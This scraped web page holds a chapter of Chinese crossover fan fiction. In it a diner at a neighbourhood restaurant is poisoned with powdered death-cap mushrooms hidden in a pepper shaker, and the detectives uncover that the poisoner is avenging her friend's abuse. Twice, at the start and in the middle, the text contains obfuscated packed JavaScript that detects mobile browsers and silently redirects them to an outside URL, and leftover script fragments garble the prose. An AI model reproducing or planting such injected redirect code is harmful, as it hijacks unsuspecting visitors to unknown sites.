;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863717|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 港口Mafia首领三件套的中原中也气场过于强大，那一身黑西装加脚上踩着的皮鞋都是手工高定，实在是和穿着普通休闲服，看上去像在读大学生出来打工的七羽二人不是一个阶级。 “不，中也君是我们新找到的咖啡师，不过他原单位那边还有一部分工作要交接，过一阵子才会来上岗，今天他只是来看看咖啡店附近的房源。”和鲁路修呆久了，七羽长进了不少，至少这一番话乍听起来没什么明显的漏洞，“对了，还没有自我介绍，我是七羽，在小兰父亲楼下的咖啡店工作，这是我们店的西点师L.L.，以后的咖啡师中原中也。” 坐在小兰左边的园子早在七羽三人走过来时就激动地抓住了闺蜜的小臂使劲摇晃，知道自己好友是颜控的毛利兰早就见怪不怪，笑眯眯的把小臂上的手挪开。 小兰：“园子，世良同学看着你呢。” 坐在小兰右边、刚转学过来的世良纯真哈哈一笑：“没事没事，我第一眼看到也有点惊讶，是小兰你认识的人？” 小兰：“嗯，刚才不是聊到新一前几天在游乐园被袭击了吗？就是七羽救了他，他们在我老爸楼下开咖啡店，诶，七羽他们已经过来了。” 为了在新同学面前维持住基本形象的铃木园子终于是等到了自我介绍这个环节。 她大大方方的拍了拍身边小兰的肩膀，又拍了拍自己，“铃木园子，和小兰一个班，还请多多指教！” “世良纯真，今天刚转学到兰的班级。”世良纯真顺势介绍，“冒昧问一句，中原先生准备在附近租房？” 带着母亲前来寻找失踪大哥帮忙的世良纯真好奇的打量着中原中也。 其实她更想问为什么看上去就一副跨国企业CEO执行总裁模样的中原中也会辞职当咖啡师，但刚见面，总不好问别人这么私人的问题。 希望只是自己想多了。 跟着大哥录像带自学多年截拳道，又受家庭原因对某些方面比较敏感的世良纯真搓了搓胳膊。 她和中原中也之间隔着工藤、七羽以及L.L.三个人，但过人的直觉还是让她感觉到了危险。 “暂时是这样打算的。”中原中也漫不经心的一点头，“门口那辆雅马哈是你的？车不错，保养的也不错。” 没料到话题方向突然被夸的世良纯真：“谢谢？” “中原先生你也对机车感兴趣吗？”铃木园子从毛利兰后方探出头，吧台就是这点不好，大家都在同一水平线，想对话就得跨过中间所有人，“这周末在米花有个车展，我爸给了我好几张票，中原先生你们要一起去吗？” 和七羽一起研究菜单的鲁路修抬起头：“如果方便的话。” “当然当然，那我们加个联系方式？”铃木园子超级自然的掏出手机，顺利得到了鲁路修的好友位，后者答应她回去后会把七羽和中也的联系方式推给她。 决定好了吃什么的七羽没提出异议，反正鲁路修这么做总有他的理由，与其浪费时间思考这个，还不如趁着店长大叔出来前把要吃的菜在单子上写好。 工藤君说这家店和胁田大叔的寿司店一样，都是店长兼任大厨兼任服务员，忙不过来的时候都是纯靠顾客手写单子，自助点单、取餐加结账，主打一个信任。 七羽提起笔，刚写下“剔骨牛排”的剔骨二字，直感拉满的七羽就和中原中也同时回过头。 ——一声尖叫划破了餐馆内良好的用餐氛围。 52.波洛咖啡店 包裹着酥皮的惠灵顿牛排、烤到薄薄脆脆香喷喷的玛格丽特披萨、从一个大铁盘里舀出来盛了满满一碗带着酒香的提拉米苏，以及融合了菠萝芒果薄荷和百香果的可口冷饮。 虽然摆盘看上去饭缩力满满，但是窜进鼻腔的香味真的无可挑剔。 可惜的是，主厨大叔端出来的这满满一桌子菜七羽暂时是享用不了了。 他木着一张脸，手掌贴在不住抽搐的男人后背，一边保住男人的最后一口气，一边等着现场的两位专业人士解决问题。 发现宝藏餐馆的好心情被零星泛起的恶意压了下去，七羽听着周遭吵闹的声音，眼神一点点冷了下去。 “我就说意大利菜开在这种社区小巷子里，还买得这么便宜肯定有鬼，这果然出事了吧？” “不会都用的隔夜食材吧？听说他家鱿鱼汤就鲜美的可怕，单是鱿鱼怎么可能煮出这个味道，绝对放了东西。” “啊，你冲着他家那道有名的鱿鱼汤来的？我女儿最喜欢喝这个了，她一个讨厌吃海鲜的人都时不时闹着来这喝一口，原来是放了东西啊，怪不得。” “喂喂，这位先生的脸色未免也太可怕了吧？说他只是吃了隔夜食材说不通吧？” …… 当然，围观人群中也有熟客拍着胸膛给店长大叔正名，解释说后面的半开放式厨房从食材到烹饪过程都一目了然，只要过去看看就知道店长绝对没有做这种事，但已经沉迷八卦越说越离谱的那一小撮人是半点都听不进去。 “肯定不是食物中毒啊！大叔每天的食材都不够卖，哪来的隔夜食材啊！”不爽周围客人的闲言碎语，铃木园子叉着腰拦在事发现场前，大声维护店长大叔的名誉，“我说你们这群人，结果还没出来，就这样凭空污蔑，这要不是大叔的责任，大叔还要不要继续开店了？” 和园子一起拦在现场前的毛利兰小声问：“新一，真的是食物中毒吗？” 小兰神色担忧，目光时不时的往七羽扶着的当事人那瞥，祈祷着这位当事人可要挺住，再怎么说，食物中毒也比一出溜发展成命案强。 当然，她是真心觉得问题肯定不是出在店长大叔身上。 真说起来，他们和这家店的店长大叔交情不错，之前新一帮卷进专利盗窃案的店长大叔解决了不少麻烦，所以他们才能无论什么时候过来都能有座位。结果不知道是不是店长大叔今年水逆，刚从上一起麻烦中脱身，新开的餐馆就又碰上这种事。 “当然不是，应该是过敏导致的，但也不排除还有其他原因。”工藤新一最先观察了一下“中毒”当事人的状态，确定当事人暂时不会有生命危险后才转而去检查他们桌上的饭菜，因为习惯收集完全部证据再做出推理，工藤新一没有直接下定结论，而是给出了一个找不出错漏的保守说法。 从感情上讲，他当然和小兰她们一样，希望店长大叔是无辜的，但证据决定一切，他得对真相负责。 “我记得他，平野先生对菌类过敏，在点单的时候他都会备注不要蘑菇，所以我在烹饪平野先生的餐点时都有特别注意，厨房里的监控应该能证明这一点。”脑后坠着马尾辫，蓄着胡茬的店长在打了报警电话和急救电话后走了过来，在距离现场几步的地方站定，“救护车和警察一会儿就到，有什么我能帮得上忙的请务必叫我去做。” 他表现得坦荡荡，多少让现场质疑的声音小了一点。 “除了过敏之外，他还中毒了。”中原中也蹲在当事人平野阳介身边，观察着痛苦得蜷缩成一团的男人。 只见平野阳介那张皮相不错的脸此时爬满了暗紫色的疹块，他急促的喘息着，但喉头的肿胀压迫到了喉管与气管，于是汲取到的那点氧气根本无法满足生存的需求，除了浅灰色的休闲西装上混杂着胆汁的呕吐物，他的嘴角正不断溢出黑褐色的血沫。 中原中也取过旁边餐桌上用来吃螃蟹的一次性手套，戴上后沾了点平野阳介嘴边的血沫，食指和拇指撵了撵，又凑近闻了闻。 一股带着腐臭的刺鼻味道直冲鼻腔。 “是鹅膏菌。”结合当事人菌类过敏的线索，中原中也快速分辨出了这股气味的来源，他目光扫向旁边的餐桌，这张只能容纳最多四人用餐的小圆桌上摆着三道菜和一道甜品，以及每桌都有的黑胡椒等自助调料。 在工藤新一准备拿起装着黑胡椒的玻璃调料罐时—— “那罐黑胡椒的颜色不太对？”世良纯真和中原中也异口同声道。 站在七羽身后的鲁路修不着痕迹的扫了世良纯真一眼。 很好，看来工藤君真的很事故体质，上一个来历不明的邻居还没解决，这又来了一个不简单的。 工藤新一拧开调料罐的盖子闻了一下，遂皱着眉把罐子递到中原中也面前。 中原中也：“是这个没错。” 围观的食客们顿时哗然。 到此为止，这件事就从食物中毒转变成了投毒杀人，性质彻底不一样了。 “你是受害者的什么人？”工藤新一迅速进入了工作状态，他看向跌坐在平野阳介身边，不住抽噎的女人。 可女人只一个劲的掉眼泪，半点眼神都不给他。 “由美，新一君是很有名的侦探，平野先生现在意识全无，你得打起精神来，尽快配合新一君找到毒害平野先生的人！”店主大叔宽慰着一味哭泣的山野由美，几句劝说无果后他叹了口气，只能接过介绍山野由美和平野阳介的任务。 “山野由美小姐和平野阳介先生是我店里的常客，他们是同一所大学毕业的校友，有时由美还会带她的好友幸子小姐来，不过大多时候，都是由美和平野先生两个人。” 店长大叔指着桌上的菜和甜品，“因为平野先生菌类过敏，所以他们通常点的菜都是这几道，偶尔也会点些去掉蘑菇不太影响口感味道的菜。” “山野小姐，你和平野先生的关系怎么样？”工藤新一用公事公办的口吻问道，“你朋友幸子小姐……和平野先生认识吗？” 山野由美的哭声止住了。 “新一君，你这话……由美和平野先生的感情一向很好，他们一个月前才在我这过了七周年纪念日，平野先生还托我给由美特别准备了蛋糕。”店长大叔眉头紧锁，“由美，你说句话啊？你和平野先生的感情很稳定，上次平野先生和我聊天时还说你们快结婚了不是吗？” “等等！客人你做什么？！” “中原先生——” “啧。”中原中也把山野由美手提包里的另一瓶调味罐丢进了工藤新一的怀里，“结果这不是很显而易见吗？” “……中原先生，我们是没有权利在不经过当事人同意的前提下搜查或者搜身的。”工藤新一抱着两罐黑胡椒粉，叹了口气，“不过既然已经这样了……山野小姐，你有什么想说的吗？” 山野由美低着头，刘海遮住了她的眉眼，头顶暖黄的复古挂灯下，她的大半张脸都浸入了刘海的阴影中。 她没有开口辩解。 指指点点的闲言碎语在突然寂静下来的现场显得尤为刺耳，七羽盯着山野由美的下巴尖，那里还残留着她方才痛哭的泪痕。 山野由美终于开口了：“他还没死吗？” 在哗然声中，七羽摇头：“暂时还活着。” “还真是可惜，他怎么就没死呢？”山野由美声音嘶哑，“他怎么就没死呢？！” “山野小姐——！” “由美！” “咣！” 锋利的剔骨刀砸在了地上，中原中也松开山野由美的手腕，任由她跌回原地。 吓出了一头冷汗的工藤新一劝道：“山野小姐，你……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869242|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “闭嘴！闭嘴！！！”山野由美发出一声尖利的吼叫，她仰起头，眼睛里蓄满的泪水夺眶而出，“你根本什么都不知道！！！” 她的胸膛极速起伏着，手指扣在地砖的接缝处，殷红的血丝从略略掀开的指甲缝里渗了出来，染红了她的指尖。 “我必须这么做！他必须死！为了幸子……对……不然幸子要怎么办？”山野由美神经质的转动着眼球，搜寻着周围可以用作凶器的东西，“他该死，他该死，他该死……！” “由美……”店长向山野由美的方向伸了伸手，但中途就被世良纯真拦住了。 世良纯真冲他摇头：“她现在情绪很不稳定。” 搜寻无果后，山野由美的目光又转回了中原中也踩着的剔骨刀上。她手脚并用的蹭着地板爬过去，十指拽着中原中也的大衣下摆，鲜血蹭花了价格昂贵的大衣，“求求你，求求你，把刀还给我，还给我好不好？要我做什么都可以的，我什么都可以做！” 中原中也低头看她，没有应声，但也没把她踹开。 “为什么？”一片安静中，鲁路修绕过身前的七羽，走到沉默的中原中也旁边，垂眼看山野由美的时候眼里的Gease印记一闪而过。 “为什么？”山野由美重复了一遍，表情空白而木然，“平野阳介，他该死，是我害了幸子，我居然带幸子去挂了他的诊号，我不知道……我真的不知道他会借着检查的名义对幸子做出那样的事……” “是我的错，对，都是我的错……我也该死……我居然才知道，在幸子坚持不下去差点自杀后才知道……” 山野由美打了个哆嗦，她的声音发着颤，“这个禽兽，他居然管这个叫探索人性？” 恋爱多年的男友出轨，出轨对象还是自己闺蜜。 山野由美没有办法原谅，也不能原谅。 “真该死啊。”她轻轻说道，“他居然用我和幸子的感情威胁幸子，说什么如果报警的话就把那些视频照片都发给我看，他应该早点发给我看的，我就能早点捅死他了。” 不大的餐馆里安静得落针可闻，再没人对山野由美指指点点了。 “我不知道……我不知道应该怎么办，应该怎么面对幸子……”山野由美虚弱的笑了一下，笑着笑着大颗大颗的眼泪脸颊往下淌进衣领，她浑身颤抖着伏在了冰冷的地板上。 长期承受着巨大的心理压力，山野由美终于在愧疚和自我厌弃中走上了最极端的一条路。 所以今天早上，当男朋友笑着敲开她的门，让她邀请幸子周末一起去爬山时，山野由美笑着说好，然后在收拾手提包的时候把磨成粉的灰褐色菌类也放了进去，开开心心的和夸她懂事的男朋友一同出门了。 餐馆外传来了警笛声，警察和救护人员冲了进来。 七羽松开手，把进气多出气少的平野阳介交给了负责抢救的医生。 一通兵荒马乱后，店长大叔的嫌疑洗清了，但工藤几人却开心不起来。 店门外，看着两人被带走，中原中也不解：“这种人渣救他干嘛？” 现在他身旁的七羽反问：“你不是也在阻止了山野小姐？” 中原中也“切”了一声，没说话。 “我并不是在救他，我是在救山野小姐。”七羽目送着救护人员把昏迷的平野阳介抬上担架，两米之隔的地方，神色麻木的山野由美被戴上手铐，压进了警车的后座，“杀人未遂和杀人罪的区别决定了等待山野小姐的是否会是绞刑。” 为这种人陪上自己的一条命，再搭上好友今后半生的悔恨，不是七羽所喜欢的故事。 他讨厌绝望和悲剧。 “我们回去吧。”鲁路修伸手搭上七羽肩膀，“店长大叔费心做的餐点，倒掉就太可惜了。” 七羽没回话，只是沉默的转身。